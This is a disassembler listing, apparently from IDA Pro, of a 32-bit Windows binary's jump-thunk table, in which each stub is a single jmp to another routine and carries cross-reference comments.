sub_401762	proc near		; CODE XREF: sub_418E30+5Fp
		jmp	sub_4190C0
sub_401762	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401767	proc near		; CODE XREF: ___:0041891Cp
		jmp	sub_418540
sub_401767	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40176C	proc near		; CODE XREF: ___:00416ACBp
					; ___:00416D93p ...
		jmp	sub_416D70
sub_40176C	endp

; ---------------------------------------------------------------------------
		jmp	loc_420E70

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401776	proc near		; CODE XREF: ___:00416E6Fp
		jmp	sub_417DE0
sub_401776	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40177B	proc near		; CODE XREF: sub_42F8E0+5Dp
					; sub_4308B0+2Cp ...
		jmp	sub_431080
sub_40177B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E340

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401785	proc near		; CODE XREF: ___:00426120p
		jmp	sub_427630
sub_401785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40178A	proc near		; CODE XREF: ___:00425507p
		jmp	sub_425310
sub_40178A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40178F	proc near		; CODE XREF: ___:00416F4Ap
		jmp	sub_418310
sub_40178F	endp

; ---------------------------------------------------------------------------
		jmp	loc_431FB0
; ---------------------------------------------------------------------------
		jmp	loc_42EF50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40179E	proc near		; CODE XREF: ___:00428063p sub_4280C0j ...
		jmp	sub_427F90
sub_40179E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017A3	proc near		; CODE XREF: ___:00416B7Bp
					; ___:00416D43p ...
		jmp	sub_416D10
sub_4017A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017A8	proc near		; DATA XREF: ___:off_43E17Co
		jmp	sub_42A1A0
sub_4017A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017AD	proc near		; CODE XREF: sub_42FFF0+D7p
		jmp	sub_4317D0
sub_4017AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B2	proc near		; CODE XREF: sub_40AF10+5j
					; ___:loc_43017Dp
		jmp	sub_431420
sub_4017B2	endp

; ---------------------------------------------------------------------------
		jmp	loc_4301D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017BC	proc near		; CODE XREF: sub_425480+10p
					; sub_425580+3Dp
		jmp	sub_425550
sub_4017BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017C1	proc near		; CODE XREF: sub_40AF30+5j
					; ___:loc_430185p ...
		jmp	sub_431440
sub_4017C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017C6	proc near		; DATA XREF: ___:off_43E000o
		jmp	sub_404C70
sub_4017C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017CB	proc near		; CODE XREF: sub_424890+1Ep
					; sub_4248D0+A6p ...
		jmp	sub_424820
sub_4017CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D0	proc near		; CODE XREF: ___:00416B3Bp
					; ___:00439FD4j ...
		jmp	sub_417A10
sub_4017D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D5	proc near		; CODE XREF: sub_4161D0+11p
					; ___:004161F7p ...
		jmp	sub_4167A0
sub_4017D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DA	proc near		; CODE XREF: sub_4159C0+3p
					; ___:0041621Fp ...
		jmp	sub_416450
sub_4017DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017DF	proc near		; CODE XREF: sub_4155B0+6Ap
					; sub_415FE0+32p
		jmp	sub_415F20
sub_4017DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017E4	proc near		; CODE XREF: sub_4034E0+DBp
					; sub_403FC0+3Fp ...
		jmp	sub_40A7B0
sub_4017E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017E9	proc near		; CODE XREF: ___:00421E5Ap
		jmp	sub_422420
sub_4017E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017EE	proc near
		jmp	sub_40B2A0
sub_4017EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017F3	proc near		; CODE XREF: sub_406890+205p
		jmp	sub_41B8D0
sub_4017F3	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017FD	proc near		; CODE XREF: ___:00426AB3p
		jmp	sub_426AE0
sub_4017FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401802	proc near		; CODE XREF: sub_41E710+FFp
					; sub_41E710+179p ...
		jmp	sub_421B30
sub_401802	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401807	proc near		; CODE XREF: sub_40A1A0+7p
		jmp	sub_40A1C0
sub_401807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40180C	proc near		; CODE XREF: sub_40B4C0+76p
		jmp	sub_40B420
sub_40180C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401811	proc near		; CODE XREF: ___:00423F3Dp
					; DATA XREF: ___:off_44440Co
		jmp	sub_4250B0
sub_401811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401816	proc near		; CODE XREF: sub_41E710+18Ep
					; ___:0043B223j
		jmp	sub_4219A0
sub_401816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40181B	proc near		; DATA XREF: ___:off_43E10Co
		jmp	sub_426FC0
sub_40181B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401820	proc near		; CODE XREF: ___:00416E8Fp
		jmp	sub_417EA0
sub_401820	endp

; ---------------------------------------------------------------------------
		jmp	loc_42ECC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182A	proc near		; CODE XREF: sub_41E710+3BCp
					; sub_422660+3p
		jmp	sub_421D00
sub_40182A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182F	proc near		; CODE XREF: sub_426740+90p
		jmp	sub_426A00
sub_40182F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401834	proc near		; CODE XREF: ___:004243FDp
					; sub_4248D0+135p
		jmp	sub_424430
sub_401834	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401839	proc near		; CODE XREF: sub_40BED0+3p
					; ___:0040BF9Fp ...
		jmp	sub_40C110
sub_401839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40183E	proc near		; CODE XREF: sub_4070F0+36p
					; sub_4070F0+72p ...
		jmp	sub_407340
sub_40183E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401843	proc near		; CODE XREF: ___:00413201p
		jmp	sub_415720
sub_401843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401848	proc near		; CODE XREF: ___:0040BA61p
					; ___:0040BB28p ...
		jmp	sub_412B20
sub_401848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40184D	proc near		; CODE XREF: ___:0043208Fp
					; ___:0043219Fp ...
		jmp	sub_431BD0
sub_40184D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401852	proc near		; DATA XREF: ___:0043234Ao
					; ___:004324B0o
		jmp	sub_431C40
sub_401852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401857	proc near		; CODE XREF: sub_416410+7p
		jmp	sub_4167F0
sub_401857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40185C	proc near		; CODE XREF: sub_4183E0+34p
		jmp	sub_404C20
sub_40185C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401861	proc near		; CODE XREF: sub_4034E0+7Ap
					; sub_4034E0+9Ep ...
		jmp	sub_409BD0
sub_401861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401866	proc near		; CODE XREF: sub_4205E0+152p
		jmp	sub_420850
sub_401866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40186B	proc near		; CODE XREF: ___:0041A2D8p
					; sub_41B0C0+3p ...
		jmp	sub_41B0F0
sub_40186B	endp

; ---------------------------------------------------------------------------
		jmp	loc_429E10
; ---------------------------------------------------------------------------
		jmp	loc_41C190

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40187A	proc near		; CODE XREF: ___:00416AFBp
					; ___:0043A00Cj ...
		jmp	sub_416DC0
sub_40187A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40187F	proc near		; CODE XREF: sub_40FFE0+217p
					; sub_41FE40+4Cp ...
		jmp	sub_41FE00
sub_40187F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401884	proc near		; CODE XREF: sub_429B40+9Dp
		jmp	sub_428200
sub_401884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401889	proc near		; CODE XREF: ___:0042C0A5p
		jmp	sub_427E60
sub_401889	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40188E	proc near		; DATA XREF: ___:0043E184o
		jmp	sub_42A1F0
sub_40188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401893	proc near		; CODE XREF: sub_41B560+DDp
		jmp	sub_41ADE0
sub_401893	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401898	proc near
		jmp	sub_432F70
sub_401898	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40189D	proc near		; CODE XREF: ___:00414245p
					; sub_414DC0+1B2p
		jmp	sub_413E20
sub_40189D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A2	proc near		; CODE XREF: sub_412060+1B6p
		jmp	sub_40A1A0
sub_4018A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A7	proc near		; CODE XREF: sub_41E710+5ABp
		jmp	sub_420480
sub_4018A7	endp

; ---------------------------------------------------------------------------
		jmp	loc_431DB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B1	proc near		; CODE XREF: sub_40A9A0+14p
		jmp	sub_40AC50
sub_4018B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B6	proc near		; CODE XREF: sub_413590+B4p
					; ___:00414C10p ...
		jmp	sub_4156C0
sub_4018B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018BB	proc near		; CODE XREF: sub_41A360+6Dp
					; sub_41A360+1B5p
		jmp	sub_41B010
sub_4018BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C0	proc near		; CODE XREF: ___:0043117Ap
		jmp	sub_430B30
sub_4018C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C5	proc near		; CODE XREF: sub_418F40+5Fp
		jmp	sub_4190E0
sub_4018C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CA	proc near		; CODE XREF: ___:00416B4Bp
					; ___:00439FC6j ...
		jmp	sub_4179A0
sub_4018CA	endp

; ---------------------------------------------------------------------------
		jmp	loc_419E80
; ---------------------------------------------------------------------------
		jmp	sub_41A190

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018D9	proc near		; CODE XREF: sub_41E710+46p
		jmp	sub_421960
sub_4018D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018DE	proc near		; CODE XREF: ___:0042C1D5p
		jmp	sub_429A60
sub_4018DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018E3	proc near		; CODE XREF: sub_4221E0+7p
		jmp	sub_4225D0
sub_4018E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018E8	proc near		; CODE XREF: sub_422060+9p
					; sub_4224C0+18p
		jmp	sub_422640
sub_4018E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018ED	proc near		; CODE XREF: sub_422260+8p
		jmp	sub_422620
sub_4018ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018F2	proc near		; CODE XREF: sub_413450+43p
					; sub_414850+4Fp ...
		jmp	sub_4157D0
sub_4018F2	endp

; ---------------------------------------------------------------------------
		jmp	loc_430AB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018FC	proc near		; CODE XREF: sub_421A80+1Fp
		jmp	sub_421E00
sub_4018FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401901	proc near		; CODE XREF: sub_421960+11p
					; sub_421E00+1Fp
		jmp	sub_421F30
sub_401901	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401906	proc near		; CODE XREF: sub_40B420+6Dp
		jmp	sub_40BE20
sub_401906	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40190B	proc near		; CODE XREF: sub_4094E0+13p
		jmp	sub_409610
sub_40190B	endp

; ---------------------------------------------------------------------------
		jmp	loc_436660
; ---------------------------------------------------------------------------
		jmp	sub_41B0C0
; ---------------------------------------------------------------------------


loc_40191A:				; DATA XREF: ___:off_43E068o
		jmp	loc_416D90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40191F	proc near		; CODE XREF: ___:00413BB1p
		jmp	sub_413A30
sub_40191F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401924	proc near		; CODE XREF: ___:00413213p
					; sub_4132A0+32p
		jmp	sub_415560
sub_401924	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401929	proc near		; CODE XREF: ___:00416BFBp
					; ___:00439F2Cj ...
		jmp	sub_4170D0
sub_401929	endp

; ---------------------------------------------------------------------------
		jmp	loc_431140
; ---------------------------------------------------------------------------
		jmp	loc_433590

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401938	proc near		; CODE XREF: sub_41C6C0+F1p
					; sub_41C6C0+270p ...
		jmp	sub_420EC0
sub_401938	endp

; ---------------------------------------------------------------------------
		jmp	loc_40A490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401942	proc near		; CODE XREF: sub_404C70+283p
					; sub_40EDF0+D2p ...
		jmp	sub_40F010
sub_401942	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401947	proc near		; CODE XREF: sub_4219A0+34p
					; sub_4222F0+67p
		jmp	sub_421F80
sub_401947	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40194C	proc near		; CODE XREF: sub_404C70+BF1p
		jmp	sub_4066E0
sub_40194C	endp

; ---------------------------------------------------------------------------
		jmp	loc_432400
; ---------------------------------------------------------------------------


loc_401956:				; DATA XREF: sub_41FCB0+39o
		jmp	loc_41FBE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40195B	proc near		; CODE XREF: ___:0041A24Ep
					; sub_41A360+Bp ...
		jmp	sub_41A340
sub_40195B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401960	proc near		; CODE XREF: ___:0041AC36p
					; ___:0041AD16p
		jmp	sub_41A940
sub_401960	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401965	proc near
		jmp	sub_4192D0
sub_401965	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196A	proc near		; CODE XREF: sub_411990+2Ep
					; sub_411B90+3p
		jmp	sub_411AD0
sub_40196A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196F	proc near		; CODE XREF: sub_41E710+F5p
					; sub_41E710+16Fp ...
		jmp	sub_421A50
sub_40196F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401974	proc near		; CODE XREF: sub_4094E0+4p
					; sub_409690+1Fp ...
		jmp	sub_409590
sub_401974	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401979	proc near
		jmp	sub_409AC0
sub_401979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40197E	proc near		; CODE XREF: sub_41F910+20p
					; sub_429B40+37p
		jmp	sub_41FF00
sub_40197E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401983	proc near		; CODE XREF: sub_413590+4Ap
					; ___:00414BBFp ...
		jmp	sub_4154B0
sub_401983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401988	proc near		; CODE XREF: sub_40A4C0+A8p
		jmp	sub_40A8E0
sub_401988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40198D	proc near		; CODE XREF: sub_40CC40+41p
		jmp	sub_40CEF0
sub_40198D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401992	proc near		; CODE XREF: ___:004334A5p
					; ___:004335A5p
		jmp	sub_433200
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401997	proc near		; CODE XREF: sub_4219A0+29p
		jmp	sub_421EA0
sub_401997	endp

; ---------------------------------------------------------------------------
		jmp	loc_42ED90
; ---------------------------------------------------------------------------
		jmp	loc_42ED60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A6	proc near		; CODE XREF: sub_40A820+Dp
					; sub_40AA80+91p
		jmp	sub_40A9A0
sub_4019A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019AB	proc near		; CODE XREF: sub_422100+23p
					; sub_4224C0+11p
		jmp	sub_422660
sub_4019AB	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ABD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019B5	proc near		; CODE XREF: sub_403FC0+2Cp
					; ___:0040403Fp ...
		jmp	sub_4034E0
sub_4019B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019BA	proc near		; CODE XREF: sub_422800+6p
		jmp	sub_422870
sub_4019BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019BF	proc near		; DATA XREF: ___:off_43E050o
		jmp	sub_416CE0
sub_4019BF	endp

; ---------------------------------------------------------------------------
		jmp	sub_40FDF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019C9	proc near		; CODE XREF: sub_407410+4p
		jmp	sub_407540
sub_4019C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019CE	proc near		; CODE XREF: ___:0040B6B9p
					; ___:0040BAD6p ...
		jmp	sub_40B5B0
sub_4019CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019D3	proc near		; CODE XREF: sub_40FFE0+AF4p
					; sub_40FFE0+E6Ap
		jmp	sub_411B90
sub_4019D3	endp

; ---------------------------------------------------------------------------
		jmp	loc_4329E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019DD	proc near		; CODE XREF: sub_414550+CEp
		jmp	sub_4146C0
sub_4019DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019E2	proc near		; DATA XREF: ___:0043E1C8o
		jmp	sub_42B920
sub_4019E2	endp

; ---------------------------------------------------------------------------


loc_4019E7:				; DATA XREF: ___:off_43E0D0o
		jmp	loc_41D7E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019EC	proc near		; CODE XREF: sub_421AC0+3p
		jmp	sub_421FE0
sub_4019EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019F1	proc near		; CODE XREF: ___:00416E3Fp
		jmp	sub_40B140
sub_4019F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019F6	proc near
		jmp	sub_413360
sub_4019F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019FB	proc near		; CODE XREF: sub_41E710+477p
		jmp	sub_4201A0
sub_4019FB	endp

; ---------------------------------------------------------------------------
		jmp	loc_421900

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A05	proc near		; DATA XREF: ___:0043E124o
		jmp	sub_4276F0
sub_401A05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A0A	proc near
		jmp	sub_411BC0
sub_401A0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A0F	proc near		; CODE XREF: sub_433270+92p
		jmp	sub_4309E0
sub_401A0F	endp

; ---------------------------------------------------------------------------
		jmp	loc_428060
; ---------------------------------------------------------------------------
		jmp	loc_426AB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A1E	proc near		; CODE XREF: sub_421EA0+32p
		jmp	sub_4222F0
sub_401A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A23	proc near		; CODE XREF: ___:00416B8Bp
					; sub_416CE0+3p ...
		jmp	sub_416CB0
sub_401A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A28	proc near		; CODE XREF: ___:00423AB4p
					; ___:00427398p ...
		jmp	sub_420DB0
sub_401A28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A2D	proc near		; CODE XREF: sub_4222C0+Ap
		jmp	sub_4226D0
sub_401A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A32	proc near		; CODE XREF: ___:00412F4Fp
					; ___:00413004p ...
		jmp	sub_404640
sub_401A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A37	proc near		; CODE XREF: sub_4094E0+1Ap
					; sub_4095C0+4p ...
		jmp	sub_409550
sub_401A37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A3C	proc near		; DATA XREF: ___:off_43E028o
		jmp	sub_40FDF0
sub_401A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A41	proc near		; DATA XREF: ___:0043E0E4o
		jmp	sub_426740
sub_401A41	endp

; ---------------------------------------------------------------------------
		jmp	loc_409DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A4B	proc near		; CODE XREF: sub_415B50+1Ep
		jmp	sub_416600
sub_401A4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A50	proc near		; CODE XREF: ___:0042F390p
					; sub_430FA0+36p ...
		jmp	sub_4303E0
sub_401A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A55	proc near		; CODE XREF: sub_413860+3Ep
		jmp	sub_4339A0
sub_401A55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A5A	proc near		; CODE XREF: sub_414A20+3p
		jmp	sub_414A50
sub_401A5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A5F	proc near		; CODE XREF: ___:00408245p
					; ___:004086D6p
		jmp	sub_409520
sub_401A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A64	proc near		; DATA XREF: ___:0043E0E0o
					; ___:0043E0F0o ...
		jmp	sub_426470
sub_401A64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A69	proc near		; CODE XREF: sub_41D8E0+1ADp
		jmp	sub_42C8B0
sub_401A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A6E	proc near		; CODE XREF: sub_4205E0+191p
					; sub_422870+3p ...
		jmp	sub_420870
sub_401A6E	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F090

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A78	proc near		; CODE XREF: sub_422690+5p
		jmp	sub_422800
sub_401A78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A7D	proc near		; CODE XREF: ___:00416EFAp
		jmp	sub_4181B0
sub_401A7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A82	proc near		; CODE XREF: sub_407220+5p
					; sub_407310+6p ...
		jmp	sub_407460
sub_401A82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A87	proc near		; CODE XREF: sub_4034E0+90p
					; sub_404C70+40Cp ...
		jmp	sub_40A730
sub_401A87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A8C	proc near		; CODE XREF: sub_41D8E0+2FFp
					; sub_41EFE0+52Fp
		jmp	sub_41FE40
sub_401A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A91	proc near		; CODE XREF: ___:00431E6Ap
		jmp	sub_42F8E0
sub_401A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A96	proc near		; CODE XREF: sub_415520+1Fp
		jmp	sub_415E80
sub_401A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A9B	proc near		; CODE XREF: sub_4034E0+E5p
					; sub_409F00+Fp ...
		jmp	sub_409E30
sub_401A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA0	proc near		; CODE XREF: sub_431600+17p
					; sub_431600+33p
		jmp	sub_4337B0
sub_401AA0	endp

; ---------------------------------------------------------------------------
		jmp	loc_433520
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------


loc_401AAF:				; DATA XREF: ___:off_43E0FCo
		jmp	loc_426AB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AB4	proc near		; CODE XREF: sub_424F20+E5p
					; sub_424F20+120p
		jmp	sub_424DD0
sub_401AB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AB9	proc near		; DATA XREF: ___:off_43E034o
		jmp	sub_412060
sub_401AB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ABE	proc near		; DATA XREF: ___:0041FBE3o
		jmp	sub_41FB40
sub_401ABE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AC3	proc near		; CODE XREF: sub_4070F0+Bp
		jmp	sub_4072D0
sub_401AC3	endp

; ---------------------------------------------------------------------------
		jmp	loc_432C40
; ---------------------------------------------------------------------------


loc_401ACD:				; DATA XREF: ___:off_43E020o
		jmp	loc_40B960

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD2	proc near		; CODE XREF: sub_403EE0+2Bp
					; sub_403EE0+3Bp ...
		jmp	sub_403D10
sub_401AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD7	proc near		; CODE XREF: sub_413590+66p
					; sub_413590+CAp ...
		jmp	sub_4156F0
sub_401AD7	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B830

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AE1	proc near
		jmp	sub_4228A0
sub_401AE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AE6	proc near		; CODE XREF: ___:00416BDBp
					; ___:00439F48j ...
		jmp	sub_40B200
sub_401AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AEB	proc near		; CODE XREF: ___:00421814p
					; ___:0042184Ep
		jmp	sub_421680
sub_401AEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AF0	proc near		; CODE XREF: sub_404BE0+15p
		jmp	sub_4070F0
sub_401AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AF5	proc near		; DATA XREF: ___:off_43E0BCo
		jmp	sub_41A190
sub_401AF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AFA	proc near		; CODE XREF: ___:00416FBFp
		jmp	sub_4189B0
sub_401AFA	endp

; ---------------------------------------------------------------------------


loc_401AFF:				; CODE XREF: ___:00438D16j
		jmp	loc_40CB80
; ---------------------------------------------------------------------------


loc_401B04:				; DATA XREF: ___:off_43E16Co
		jmp	loc_429E10

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B09	proc near		; CODE XREF: sub_417060+28p
		jmp	sub_418940
sub_401B09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B0E	proc near		; CODE XREF: ___:00431A87p
		jmp	sub_431AC0
sub_401B0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B13	proc near		; CODE XREF: sub_42FFF0+Bp
		jmp	sub_430470
sub_401B13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B18	proc near
		jmp	sub_40AF30
sub_401B18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B1D	proc near		; CODE XREF: ___:00418D2Bp
					; sub_418F40+28p ...
		jmp	sub_419000
